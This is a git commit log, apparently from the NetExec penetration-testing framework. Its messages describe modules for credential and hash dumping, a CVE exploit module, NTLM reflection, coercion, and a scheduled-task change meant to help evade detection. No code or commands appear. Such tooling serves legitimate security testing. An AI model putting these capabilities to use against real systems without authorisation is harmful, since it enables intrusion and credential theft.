Alex 6c482cdd0e Merge pull request #866 from rtpt-romankarwacik/simple_efs_activator
Remove efsr_spray module, superceded by simply using EPM map on the EFS interface
2025-08-31 02:55:33 +02:00
Alexander Neff e428bcc788 Move function 2025-08-30 20:45:49 -04:00
Alexander Neff d6609ae8a3 Sorted win list 2025-08-30 19:14:02 -04:00
Marshall Hallenbeck cc01381c0a feat(ldap): display group description for --groups 2025-08-29 10:46:55 -04:00
Joachim De Bats cff422c6f5 ruff 2025-08-29 16:00:45 +02:00
Joachim De Bats 71b5742d63 unhappy ruff 2025-08-29 15:50:50 +02:00
Alex 882e93fc6a Merge pull request #830 from 0xb11a1/add-tests-ntds-dump-raw
Fix poetry run pytest & adding tests to ntds-dump-raw module
2025-08-29 13:54:44 +02:00
Joachim De Bats b295bb23bd adding test in e2e _commands.txt 2025-08-29 11:26:48 +02:00
Mauriceter 1272f12e1c Merge branch 'Pennyw0rth:main' into CVE-2025-33073 2025-08-29 10:57:56 +02:00
Joachim De Bats 7d3e48d0af new module cve-2025-33073 2025-08-29 10:52:35 +02:00
Joachim De Bats 900fa08989 new module ntlm reflexion 2025-08-29 10:44:05 +02:00
Joachim De Bats c5044f8aec sccmrecon commit 2025-08-29 09:49:35 +02:00
Mauriceter 4588dc605c Merge branch 'Pennyw0rth:main' into sccm-winreg 2025-08-29 09:43:44 +02:00
SGMG11 304c8fa6e0 Updated schtasks_as.py to control if output will be provided
Signed-off-by: SGMG11 <[email protected]>
2025-08-28 09:09:09 +02:00
Alex 864c88bc6a Merge pull request #904 from lodos2005/patch-3
Unnecessary file
2025-08-27 20:43:34 +02:00
Hakan Yavuz 7589e124dd An unnecessary file left over from GOAD Lab. 2025-08-27 21:32:58 +03:00
Alexander Neff 1261782177 Remove unnecessary new line in imports 2025-08-26 17:53:42 -04:00
mpgn 509f31f4d6 update passpol 2025-08-25 23:28:06 +02:00
mpgn d6e0607ed0 update passpol 2025-08-25 23:25:55 +02:00
Alex d4c38ead3c Merge pull request #901 from Pennyw0rth/neff-fix-879
Fix 879
2025-08-24 19:48:33 +02:00
Alexander Neff a050a59eab Remove unnecessary try&except and return statements 2025-08-24 12:30:43 -04:00
Alexander Neff 915a68395a Don't close connection after running the module 2025-08-24 12:30:14 -04:00
Alexander Neff fa27fa793b Add module option text 2025-08-24 12:29:40 -04:00
Marshall Hallenbeck ccac581646 Remove debug log for DNS server in resolve_hostname
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-08-24 10:20:06 -04:00
Marshall Hallenbeck 39d63882ce refactor(dc_list): clean up code 2025-08-24 10:20:06 -04:00
Marshall Hallenbeck f0c9365f47 fix(dc_list): disable automatic configuration of DNS so we can override it to point to target; fixes #873 2025-08-24 10:20:06 -04:00
Marshall Hallenbeck 0ba9368004 fix(printnightmare): do not exit thread on failure to bind so other modules can run; fixes 882 2025-08-24 10:19:06 -04:00
Alex 911e3656f4 Merge pull request #900 from Pennyw0rth/neff-fix-anon-auth-badsuccessor
Refactor to use internal ldap search function to prevent stack traces
2025-08-24 16:08:14 +02:00
Alex 97e056e714 Merge pull request #899 from Pennyw0rth/neff-fix-anon-auth-gmsa
Fix stacktrace with anon auth and using gmsa
2025-08-24 16:08:07 +02:00
Alex 3331db779b Merge pull request #898 from Pennyw0rth/neff-update-aardwolf
Fix aardwolf logging
2025-08-24 16:08:02 +02:00
Alexander Neff 80481fb685 Refactor to use internal ldap search function to prevent stack traces 2025-08-24 09:11:10 -04:00
Alexander Neff 206ba91e68 Fix anon auth and gmsa module by using internal search function 2025-08-24 08:30:47 -04:00
Alexander Neff 64c3c25fcc Fix aardwolf logging 2025-08-24 07:56:30 -04:00
mpgn 486fc20493 update passpol 2025-08-23 19:36:07 +02:00
Alex d2da64e7b3 Merge pull request #863 from adityatelange/adityatelange-patch-1 2025-08-23 16:38:22 +02:00
Marshall Hallenbeck cb450cd5d9 Merge pull request #876 from Pennyw0rth/issues-874
fix(ldap): return False for general OS errors
2025-08-23 10:35:05 -04:00
Alexander Neff 0b8b577421 Improve error messages 2025-08-23 09:02:48 -04:00
Alexander Neff 9f636c9504 Move ldap information gathering to enum_host_info 2025-08-23 08:58:28 -04:00
Alex a1ccb90065 Merge pull request #867 from P4cm4n90/patch-1
Update gpp_password.py
2025-08-23 13:39:08 +02:00
Alexander Neff d28f447c58 Add module option text 2025-08-23 07:28:09 -04:00
Marshall Hallenbeck c5bb5a2692 fix(enum_ca): properly return false if theres an error with fetchList; also ruff fix for return None 2025-08-21 11:40:47 -04:00
Roman Karwacik 81c6d9fb63 move get_dynamic_endpoint to NXCModule 2025-08-21 09:03:26 +02:00
mpgn 824dbffd12 add test 2025-08-20 23:33:18 +02:00
mpgn c5792dbbc6 fix ruff 2025-08-20 23:30:59 +02:00
mpgn 52ca6347fd add ldap pass-pol option #868 2025-08-20 23:27:24 +02:00
Marshall Hallenbeck 9b8e7534a8 fix(ldap): return False for general OS errors 2025-08-20 14:31:08 -04:00
Roman Karwacik eadd3a1b90 fix ruff errors 2025-08-20 15:36:00 +02:00
Roman Karwacik ecbbb9a4d7 add placeholder with [REMOVED] description 2025-08-20 15:29:47 +02:00
Damian 08627beed9 Update gpp_password.py
The gpp_password accepts only share's name "SYSVOL". When openldap is used, the original SYSVOL share can named in lowercase manner - for example "sysvol".

The fix introduces treating "SYSVOL" share name as case-insensitive.

Signed-off-by: Damian <[email protected]>
2025-08-20 12:02:55 +02:00
Roman Karwacik 2a5d0f0e24 Remove efsr_spray module, superceded by simply using EPM map on the EFS interface before using the coercion methods 2025-08-20 11:03:21 +02:00
Alexander Neff 084d048712 Change module categories 2025-08-19 13:27:32 -04:00
Alexander Neff 7dad6d7697 Switch user-desc module to credential dumping 2025-08-19 13:16:56 -04:00
Alexander Neff f90e648f7e Fix listing modules without IP 2025-08-19 12:57:57 -04:00
Alexander Neff 013f0ecbf9 Formatting 2025-08-19 12:55:28 -04:00
Aditya Telange 5a44e466d3 Show message when krb conf is saved. Help user to export it as a kerberos understandable variable
Signed-off-by: Aditya Telange <[email protected]>
2025-08-19 21:37:23 +05:30
Mickey De Baets 1b8066bc25 Merge branch 'main' into main 2025-08-19 12:30:13 +02:00
mpgn 8af4bfa626 Merge pull request #856 from Pennyw0rth/guest 2025-08-17 22:07:26 +02:00
tiagomanunes d3d6697eb4 Merge branch 'main' into module-usercredman 2025-08-17 11:11:36 +01:00
Alex 5f29dd0779 Merge pull request #858 from Z4kSec/main
Update Masky module to 0.2.1 (fix warning message)
2025-08-16 22:24:11 +02:00
Alexander Neff 441badbced Fix lock file 2025-08-16 16:17:48 -04:00
Alexander Neff 86ac49caf7 Merge branch 'main' into masky 2025-08-16 16:17:35 -04:00
Alexander Neff 88684dc175 Fix lock file 2025-08-16 16:16:51 -04:00
Alexander Neff 3a580c7008 Update masky 2025-08-16 16:14:32 -04:00
Alexander Neff 390eda3cba Recategorize modules 2025-08-16 15:52:29 -04:00
Alexander Neff 4b1b9b6b69 Add category filtering to module listing 2025-08-16 15:19:51 -04:00
Alexander Neff 652fc12253 Categorize modules 2025-08-16 15:10:22 -04:00
Alexander Neff ac7446badb Add category to modules 2025-08-16 15:07:26 -04:00
Alex ac85127877 Merge pull request #837 from E1A/main
Added the lockscreendoors module
2025-08-16 21:01:10 +02:00
Alexander Neff 9bde648867 Add CATEGORY enum 2025-08-16 13:02:55 -04:00
Alexander Neff b06316fde0 Add 'No options available' to the module and the example module 2025-08-16 09:47:03 -04:00
Alexander Neff db665c096a Don't skip silently, bug provide a debug log 2025-08-16 09:44:26 -04:00
Alexander Neff da7cb78942 Formatting and remove unnecessary check 2025-08-16 09:33:13 -04:00
Alexander Neff 4546db892a Add debug log on parsing errors 2025-08-16 09:32:51 -04:00
Alexander Neff 9ae0aecc33 Formatting 2025-08-16 09:25:10 -04:00
Alexander Neff 8bb47665e7 Formatting 2025-08-16 09:22:20 -04:00
Zak dccc7ef5f1 Merge branch 'Pennyw0rth:main' into main 2025-08-16 15:11:02 +02:00
Z4kSec 05fa63d1be Update Masky module to 0.2.1 2025-08-16 13:02:13 +00:00
Alexander Neff 913605ba22 Rename module to 'certipy' so it is expandable in the future 2025-08-16 08:06:12 -04:00
mpgn be20d01990 Merge pull request #676 from Adamkadaban/rdp-exec 2025-08-16 00:43:11 +02:00
Alexander Neff 7483a15da3 Only apply arg check on rdp proto so it doesn't crash on others 2025-08-15 17:33:10 -04:00
Alexander Neff 33a82c565a Mute unicrypto logger and set log level of asyncio to error 2025-08-15 17:29:07 -04:00
Alexander Neff 19a51f543c Mute aardwolf logger and increase cmd-timeout to 5 2025-08-15 16:46:05 -04:00
Alexander Neff 60dea2fb19 Add error output if command failed 2025-08-15 15:18:11 -04:00
Alexander Neff 1ce655ddbf Merge branch 'main' into rdp-exec 2025-08-15 13:23:29 -04:00
Alexander Neff eff606d00f Make warning more accurate 2025-08-15 13:22:55 -04:00
Alex 82b0f973f5 Merge pull request #721 from Kahvi-0/main
Update schtask_as.py to help bypass detection
2025-08-15 19:13:24 +02:00
Alexander Neff 4ce75c0e50 Add unique identifier to filename 2025-08-15 13:13:06 -04:00
Alexander Neff 33ecbe207a Formatting 2025-08-15 13:02:49 -04:00
Alexander Neff ef5c65cabb No unecessary return values 2025-08-15 12:54:10 -04:00
Alexander Neff 30806ee975 Fix description and ensure output path has backslashes 2025-08-15 12:53:56 -04:00
Kahvi-0xFF f99e8ccac0 Merge branch 'main' into main 2025-08-15 10:27:39 -04:00
Alexander Neff 8be0509ef1 Add description 2025-08-15 09:53:41 -04:00
Alexander Neff dd166c86fb Add certipy-find module 2025-08-15 09:51:11 -04:00
Alexander Neff adc83b717e Add Certipy dep 2025-08-15 09:49:30 -04:00
Alexander Neff c9b0edba74 Disable certipy logger 2025-08-15 09:49:08 -04:00
mpgn 020e5a12b9 check guest not default 2025-08-14 23:21:37 +02:00
mpgn d117df7b83 fix ruff 2025-08-14 23:19:29 +02:00
mpgn 404f17be64 add guest check on recon 2025-08-14 23:16:45 +02:00
mpgn 074824423c add warning before running x command 2025-08-14 17:36:14 +02:00
mpgn 05d15a9750 Merge pull request #846 from fulc2um/enum_inet
[SMB] Added new smb module to enumerate active network interfaces over SMB
2025-08-14 16:45:28 +02:00
fulc2um e542fd6eb1 modified test command 2025-08-14 10:43:16 -04:00
fulc2um d9de4db59f renamed file and module 2025-08-14 10:41:45 -04:00
fulc2um 8a4c29de0e Merge branch 'main' into enum_inet 2025-08-14 10:06:36 -04:00
Alex 7e7d447e56 Merge pull request #855 from Pennyw0rth/typo
Fix typo
2025-08-14 16:04:47 +02:00
Alexander Neff b0fd02b4ec Fix typo 2025-08-14 09:26:40 -04:00
fulc2um c71a8688d6 Merge branch 'main' into enum_inet 2025-08-14 08:57:23 -04:00
mpgn 9784c2c58c Merge pull request #853 from Pennyw0rth/dc 2025-08-14 08:45:24 +02:00
Alexander Neff b2d960c566 Update impacket 2025-08-13 17:38:55 -04:00
Alexander Neff d2f7140eab Remove ntds dump warning 2025-08-13 17:32:40 -04:00
mpgn 00e19a1ded Merge branch 'main' into dc
Signed-off-by: mpgn <[email protected]>
2025-08-13 21:10:26 +02:00
mpgn 1a1993f7e9 update poetry lock 2025-08-13 21:05:48 +02:00
Kahvi-0xFF 84af17f78c Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 11:15:18 -04:00
Kahvi-0xFF 85c4edc780 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 11:14:34 -04:00
Kahvi-0xFF 90c206f0fe Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:47:20 -04:00
Kahvi-0xFF 4c8e8f0585 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:38:02 -04:00
Kahvi-0xFF 1aa997f43b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:37:40 -04:00
Kahvi-0xFF 086fad7cb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:31:47 -04:00
Kahvi-0xFF f1c2840957 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-13 00:30:59 -04:00
Kahvi-0xFF 51ac6d6408 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 17:16:05 -04:00
Kahvi-0xFF 4e380b46a1 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 13:00:08 -04:00
Kahvi-0xFF edb6f90116 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-12 12:57:55 -04:00
Kahvi-0xFF 4c4f3b99b9 Merge branch 'Pennyw0rth:main' into main 2025-08-12 12:57:22 -04:00
fulc2um 6f3c5bc6bf Merge branch 'main' into enum_inet 2025-08-12 12:46:18 -04:00
azoxlpf a37feba363 Stop logging NXDOMAIN multiple times in DNS resolution 2025-08-12 17:52:54 +02:00
Alex dbb05457be Merge pull request #850 from Pennyw0rth/neff-fix-issue-template 2025-08-12 11:01:09 +02:00
Alexander Neff 8f10f9ede6 Fixing the bug report issue template, currently not present on github 2025-08-11 19:45:11 -04:00
fulc2um d1ed5073d7 Merge branch 'main' into enum_inet 2025-08-11 09:26:02 -04:00
Alex 8edaf13af1 Merge pull request #847 from A3-N/feat/mssql-database-table-list
Add --database option to MSSQL protocol
2025-08-11 14:59:12 +02:00
Alexander Neff 30cf67159e Remove mutually exclusive group and multichar-singledash option 2025-08-11 08:52:29 -04:00
Adriaan Bosch 006ad7c6d8 mssql: add -db short option for --database
Signed-off-by: Adriaan Bosch <[email protected]>
2025-08-11 09:23:55 +02:00
fulc2um 3d8be59ee5 edited comment 2025-08-10 17:52:26 -04:00
Alexander Neff 18ba7dba6e Revert metavar for query 2025-08-10 11:54:13 -04:00
Alex 1477b49450 Merge branch 'main' into feat/mssql-database-table-list 2025-08-10 17:49:22 +02:00
fulc2um ee75c4316a Merge branch 'main' into enum_inet 2025-08-10 09:36:21 -04:00
Alex cb0f1259f5 Merge pull request #833 from gatariee/feat-lsassy
added `DUMP_TICKETS` flag to lsassy module
2025-08-10 14:37:59 +02:00
Alexander Neff 051bc34f41 Add defaults and linting 2025-08-10 08:18:10 -04:00
Alex 0e9d3e5c9b Merge branch 'main' into feat-lsassy 2025-08-10 14:17:01 +02:00
adriaan.bosch 6402ac16a5 fix: remove _exec wrapper, run ruff fixes 2025-08-10 13:01:36 +02:00
fulc2um abe3dfc054 Restored removed import of rrp 2025-08-09 18:15:20 -04:00
fulc2um e46a962671 Switched --interfaces to execute using FSCTL_QUERY_NETWORK_INTERFACE_INFO and enum_inet (requires admin) to remote registry 2025-08-09 18:10:51 -04:00
adriaan.bosch e8f8d7e90e mssql: add --database flag to list databases or tables in a named DB 2025-08-09 17:05:34 +02:00
gatari a742bce516 changed some defaults 2025-08-09 06:43:17 -04:00
tiagomanunes c2731fb985 Merge branch 'main' into module-usercredman 2025-08-09 09:53:29 +01:00
fulc2um 0db3d64d59 Merge branch 'main' into enum_inet 2025-08-08 16:19:45 -04:00
Alexander Neff 486f47a6b7 Linting 2025-08-07 14:44:20 -04:00
Alex e3520135a5 Merge branch 'main' into rdp-exec 2025-08-07 20:18:21 +02:00
Alex 83b71487cf Merge pull request #824 from MaxToffy/reg-sessions
Add --reg-sessions option to SMB protocol
2025-08-07 18:24:41 +02:00
fulc2um 782f476e33 Added new module to enumerate active network interfaces over SMB 2025-08-06 14:01:41 -04:00
Kahvi-0xFF daa37dd9f6 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:06:29 -04:00
Kahvi-0xFF bc593ecb4c Fresh atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:04:09 -04:00
Kahvi-0xFF 7f037d79bd Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:03:35 -04:00
Kahvi-0xFF 5a226988cb Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:02:57 -04:00
Kahvi-0xFF 1440a6bf1e Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 10:01:32 -04:00
Kahvi-0xFF ca9847cf61 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:59:28 -04:00
Kahvi-0xFF df087a7444 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:58:45 -04:00
Kahvi-0xFF 5514bfe05c fresh schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-06 09:47:59 -04:00
tiagomanunes d3832931b8 Merge branch 'main' into module-usercredman 2025-08-06 09:10:00 +01:00
E1A ed4f6f4858 Merge branch 'main' of github.com:E1A/NetExec 2025-08-06 09:52:48 +02:00
E1A a44fa60223 format expected descriptions as plain string in output 2025-08-06 09:52:40 +02:00
E1A 5a5a5b5756 Merge branch 'main' into main 2025-08-06 09:41:50 +02:00
E1A a5fa60b62a Fixed support for Win server 2008 and multiple descriptions 2025-08-06 09:40:43 +02:00
Kahvi-0xFF a754149025 Merge branch 'main' into main 2025-08-06 00:35:11 -04:00
Alex 84d8f108c9 Merge pull request #845 from Pennyw0rth/neff-revert-#729
Revert "Merge pull request #729 from haytechy/refactor_SMBSpider"
2025-08-05 22:38:25 +02:00
Alexander Neff 74e49abf28 Revert "Merge pull request #729 from haytechy/refactor_SMBSpider"
This reverts commit 4137704a06, reversing
changes made to e11898b182.
2025-08-05 16:25:22 -04:00
Kahvi-0xFF b8ce69480d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:06:29 -04:00
Kahvi-0xFF e663fb83d8 Merge branch 'main' into main
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-05 15:04:57 -04:00
Alex e7799212b5 Merge pull request #844 from Pennyw0rth/neff-fix-dpapi
Fix dpapi
2025-08-05 20:32:59 +02:00
Alexander Neff 65be28dc19 Readd no_da var to fix dpapi with local admin 2025-08-05 14:18:29 -04:00
Alex 49d04493e3 Merge pull request #841 from x-ticker/patch-1
Fixed typo in smb.py
2025-08-05 15:51:51 +02:00
ticker 6debc5fb49 Typo in smb print_host_info
It was printing "domin" instead of "domain"

Signed-off-by: ticker <[email protected]>
2025-08-04 21:20:14 -04:00
Kahvi-0xFF 4ae11640c3 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:37:21 -04:00
Kahvi-0xFF 24ac21d513 Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:32 -04:00
Kahvi-0xFF aa8ee61a7b Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:23:04 -04:00
Kahvi-0xFF ecd54323bf Update atexec.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:18:29 -04:00
Kahvi-0xFF c8de6fe76f Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2025-08-04 14:17:18 -04:00
Alex 24dc0879b9 Merge branch 'main' into module-usercredman 2025-08-04 18:42:41 +02:00
Alex 3c8bb13117 Merge pull request #838 from Pennyw0rth/neff-linting
Add 'Warning' rule to linting
2025-08-04 18:32:53 +02:00
E1A 5a53fcab93 Merge branch 'main' of github.com:E1A/NetExec 2025-08-04 16:23:11 +02:00
E1A d1d0864002 Added and removed lock screen executables
Changed context.log.fail to context.log.highlight when if tampered = true
2025-08-04 16:23:02 +02:00
Alexander Neff 8ec8830e81 Linting 2025-08-04 09:40:55 -04:00
Alex 03dfe7f23c Merge branch 'main' into neff-linting 2025-08-04 14:54:34 +02:00
tiagomanunes c90270e25d Merge branch 'main' into module-usercredman 2025-08-04 13:28:32 +01:00
Xed cb6891b787 Merge branch 'main' into drop_library_ms 2025-08-04 11:36:49 +02:00
E1A 3a0f1c90e5 Merge branch 'main' into main 2025-08-04 09:57:38 +02:00
E1A 324dc0ccdd Fixed issues for PR 2025-08-04 09:57:04 +02:00
Alex 8ca5874260 Merge pull request #818 from Dfte/schtask_refactor
Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class
2025-08-03 17:12:41 +02:00
Alexander Neff 172bddbb4c Autofix ruff whitepsaces 2025-08-02 12:39:44 -04:00
Alexander Neff bb788a484e Autofix ruff whitepsaces 2025-08-02 12:37:45 -04:00
E1A ac0e0c4a29 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 18:31:03 +02:00
E1A c67d43310c Added lockscreendoors 2025-08-02 18:30:56 +02:00
Alexander Neff 21f6031129 Add 'Warning' rule 2025-08-02 12:30:47 -04:00
Alexander Neff 70922c5b85 Group session enumeration args 2025-08-02 12:23:24 -04:00
E1A de03b9b163 Merge branch 'Pennyw0rth:main' into main 2025-08-02 18:08:08 +02:00
E1A 5f23eadc3a ruff changes 2025-08-02 18:07:53 +02:00
Alex 97838b466c Merge pull request #832 from tiagomanunes/improve-daclread-targetdn-from-file
Improve daclread: also allow passing a file for TARGET_DN, and refactor
2025-08-02 18:04:45 +02:00
Alexander Neff eb33458e46 For unexpected errors inform user and make exception handling more specific 2025-08-02 12:02:34 -04:00
E1A 1f96460b01 Merge branch 'main' of github.com:E1A/NetExec 2025-08-02 17:55:10 +02:00
E1A 60c3afd20d added credits 2025-08-02 17:53:52 +02:00
Alexander Neff 6c07fa8641 Convert while loop to for loop 2025-08-02 11:53:30 -04:00
E1A 3ca1987d6b Merge branch 'Pennyw0rth:main' into main 2025-08-02 17:51:48 +02:00
E1A b792021223 Added the lockscreendoors module 2025-08-02 17:51:23 +02:00
Alexander Neff 34e7d9f0ce Linting 2025-08-02 11:48:34 -04:00
Alexander Neff 2124866551 Fix python escaping Syntax warning 2025-08-02 11:42:21 -04:00
Alexander Neff e2c1e820c7 Reduce code lines 2025-08-02 11:41:45 -04:00
Alex b1faef4cfa Merge pull request #836 from Pennyw0rth/neff-add-null-auth
Add null-auth info to host banner
2025-08-02 17:31:08 +02:00
Alexander Neff 4522f00d6e Add comment 2025-08-02 11:24:23 -04:00
Alexander Neff e1c5271f43 Remove unused imports 2025-08-02 10:18:59 -04:00
Alexander Neff da54a7f5b3 Add comments and small formatting 2025-08-02 10:18:42 -04:00
Alexander Neff cc268f0e0a Remove unused lines 2025-08-02 10:18:29 -04:00
Alexander Neff 49e80169fd Add null-auth info to host banner 2025-08-02 08:26:13 -04:00
tiagomanunes 9a16a4fce4 Merge branch 'main' into improve-daclread-targetdn-from-file 2025-08-02 10:18:48 +01:00
tiagomanunes 68b2fe04a3 Merge branch 'main' into module-usercredman 2025-08-02 10:16:43 +01:00
MaxToffy 61f6ee1074 Less verbose output and fix formating 2025-08-01 16:17:59 +02:00
gatari 65fe159168 added newline for ruff compliance
Signed-off-by: gatari <[email protected]>
2025-08-01 21:38:13 +08:00
Marshall Hallenbeck 4137704a06 Merge pull request #729 from haytechy/refactor_SMBSpider
Refactor smb spider
2025-07-31 16:33:39 -04:00
Marshall Hallenbeck 4104caa5e8 Merge branch 'main' into refactor_SMBSpider 2025-07-31 16:25:25 -04:00
Marshall Hallenbeck e11898b182 Merge pull request #835 from Pennyw0rth/marshall-add-awesome-contributors
docs(contributors): add termanix and dfte to awesome contributors
2025-07-31 14:43:46 -04:00
Marshall Hallenbeck f4c199e1cc docs(contributors): add termanix and dfte to awesome contributors
Signed-off-by: Marshall Hallenbeck <[email protected]>
2025-07-31 14:22:13 -04:00
Tiago Nunes ba0c461aa2 Minor ruff 2025-07-31 16:12:13 +02:00
Tiago Nunes db68c1303b Clean up module option assignment and defaults 2025-07-31 16:07:16 +02:00
Tiago Nunes 8d432a5074 Small fixes: use format strings and built-in open(), lint unused variables 2025-07-31 15:57:43 +02:00
gatari 25e9586ace added documentation for options 2025-07-31 07:41:25 -04:00
gatari 5566578daf added support for dumping kerberos tickets 2025-07-31 07:32:09 -04:00
Mickey De Baets 49c89dbca6 Merge branch 'main' into main 2025-07-30 14:02:14 +02:00
Tiago Nunes 3d3b41de62 Use self.context consistently 2025-07-30 12:55:39 +02:00
Tiago Nunes dce281dfba More instance variables turned into local variables, and passed down the stack 2025-07-30 12:50:22 +02:00
Tiago Nunes 4d96ee6d52 Continue parsing targets if any are not found, instead of stopping 2025-07-30 12:44:24 +02:00
Tiago Nunes 78d691be12 Turn backup filename into local variable 2025-07-30 12:38:56 +02:00
Tiago Nunes 02dbcbdc5d Also allow passing a file for TARGET_DN. Refactor to reduce duplication and complexity. 2025-07-30 11:59:08 +02:00
Alex d0827bb78c Merge branch 'Pennyw0rth:main' into refactor_SMBSpider 2025-07-29 21:02:55 +01:00
tiagomanunes a53faf3c6a Merge branch 'main' into module-usercredman 2025-07-29 11:30:19 +01:00
theuser 904769658d Add tests for ntds-dump-raw module 2025-07-28 17:28:44 +04:00
theuser d0f23b9dda Fix cannot import name 'delete_workspace' from 'nxc.nxcdb' error 2025-07-28 17:28:27 +04:00
Alex 714c44bac8 Merge pull request #828 from 0xb11a1/add-lsa-ntds-dump-raw
Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes
2025-07-28 13:15:45 +02:00
Alexander Neff fedca6bcfb Remove unnecessary function and formatting 2025-07-28 07:13:00 -04:00
gatari f2361e27d6 changed --store-st to --generate-st 2025-07-28 05:47:06 -04:00
gatari 57a06d0612 added --delegate-spn flag 2025-07-28 05:38:30 -04:00
tiagomanunes 31ec2eeffc Merge branch 'main' into module-usercredman 2025-07-27 13:27:46 +01:00
theuser 1d9b50210f Add TARGET option to ntds-dump-raw to dump LSA/SAM hashes 2025-07-26 19:21:27 +04:00
gatari 96e4a306b7 sname bug fix 2025-07-25 05:30:22 -04:00
gatari 8ce7e2fe2a added --store-st flag 2025-07-25 05:30:04 -04:00
MaxToffy 8b78206f72 ruff formating 2025-07-25 11:08:16 +02:00
MaxToffy ab255aa9f4 Fix formating after user filtering 2025-07-25 11:03:35 +02:00
MaxToffy 3648ac579d Add --reg-sessions option for SMB 2025-07-25 10:24:01 +02:00
Alex a8183f8851 Merge pull request #821 from Pennyw0rth/neff-add-wmi-ntds-dump-raw
Add WMI to ntds_dump_raw module
2025-07-24 15:34:41 +02:00
Alex 2befb3a99f Merge branch 'main' into neff-add-wmi-ntds-dump-raw 2025-07-24 15:26:53 +02:00
Alex 19a54d5aba Merge pull request #820 from Pennyw0rth/neff-fix-wmi
Refactor WMI protocol execution
2025-07-24 15:25:22 +02:00
Alexander Neff 65d3723e7b Remove string from testing, also increase characters for registry path 2025-07-24 09:21:39 -04:00
Alexander Neff 9ebac0f5df Enable dump for wmi with powershell execution 2025-07-24 08:56:23 -04:00
tiagomanunes 09fd370ecf Merge branch 'main' into module-usercredman 2025-07-24 08:51:39 +01:00
Alexander Neff b717f30629 Bug fixes for when the command already starts with 'powershell ...' 2025-07-23 18:38:24 -04:00
Alexander Neff af822e597a Add -X for powershell execution 2025-07-23 18:05:22 -04:00
Alexander Neff cb3564117d Add powershell command execution method instead of using powershell in normal exec 2025-07-23 15:34:04 -04:00
Alexander Neff 64aa7c05ab Remove print statement 2025-07-23 09:41:59 -04:00
Alexander Neff 917dcb505e Clean up after retrieving files and dynamically try 10s to get the output in case stuff takes time 2025-07-23 09:30:31 -04:00
Alexander Neff bab59de4bf Optimize execution speed 2025-07-23 08:56:39 -04:00
Alexander Neff e192f3cbb8 Split result output into 16KB chunks because that is the max value for registry keys 2025-07-23 07:53:15 -04:00
Aurélien CHALOT 5933a08f33 Remove print 2025-07-23 13:32:54 +02:00
Aurélien CHALOT 897fe67d72 Rework atexec and -M schtask_as to rely on a single TSCH_EXEC class 2025-07-23 13:30:23 +02:00
Alexander Neff 188ef13c87 Encode to b64 with powershell and not certutil 2025-07-23 06:15:01 -04:00
Alex a4d54d1673 Merge pull request #468 from 0xb11a1/raw-ntds-copy
Add raw-ntds-copy module
2025-07-22 18:26:43 +02:00
Alex 7328c08182 Merge pull request #805 from termanix/patch-2
Update LDAP find-computer Module
2025-07-21 17:02:23 +02:00
Alexander Neff 36573e393e Linting 2025-07-21 10:57:15 -04:00
Alexander Neff 86b74efd43 Improve module description 2025-07-21 10:52:24 -04:00
termanix 3a90c7f555 Merge branch 'main' into patch-1 2025-07-21 17:40:33 +03:00
termanix 253d8ab93b removed exception handling
Signed-off-by: termanix <[email protected]>
2025-07-21 17:38:18 +03:00
tiagomanunes e60b47f88c Merge branch 'main' into module-usercredman 2025-07-21 12:20:36 +01:00
Alex 776b84af85 Merge pull request #812 from Pennyw0rth/neff-fix-wmi
Fix command execution in wmi
2025-07-21 11:11:21 +02:00
Alex ed7db99fab Merge pull request #813 from termanix/terman-fix
Fix NFS Network Value
2025-07-21 09:58:22 +02:00
termanix 96a8ed2d02 fix group_names if returns empty 2025-07-21 03:36:24 -04:00
Alex 4e8d65093b Merge pull request #811 from Pennyw0rth/neff-fix-daclread
Add ldap parsing to daclread
2025-07-20 20:05:17 +02:00
Alexander Neff ffa46360a7 Execute each command seperatly so files are still deleted when previous commands fail 2025-07-20 14:04:52 -04:00
Alexander Neff 50edae4df1 Fix command execution in modules with output but no line printing 2025-07-20 14:02:34 -04:00
Alexander Neff 37de88547e Linting 2025-07-20 14:01:14 -04:00
Alexander Neff 8892b6a5d8 Fix winrm execution 2025-07-20 13:58:35 -04:00
Alexander Neff 985a9880e0 Remove unused function 2025-07-20 08:22:35 -04:00
Alexander Neff 477940e6ff Add ldap parsing to user info function 2025-07-20 08:21:25 -04:00
Alexander Neff 644298ecce Add ldap parsing to sid resolv function 2025-07-20 08:16:05 -04:00
Alexander Neff e4095ce851 Replace manual parsing with ldap parser and remove duplicate code 2025-07-20 08:08:04 -04:00
Alexander Neff bdfd869c94 Add searchControls to search function 2025-07-20 08:05:10 -04:00
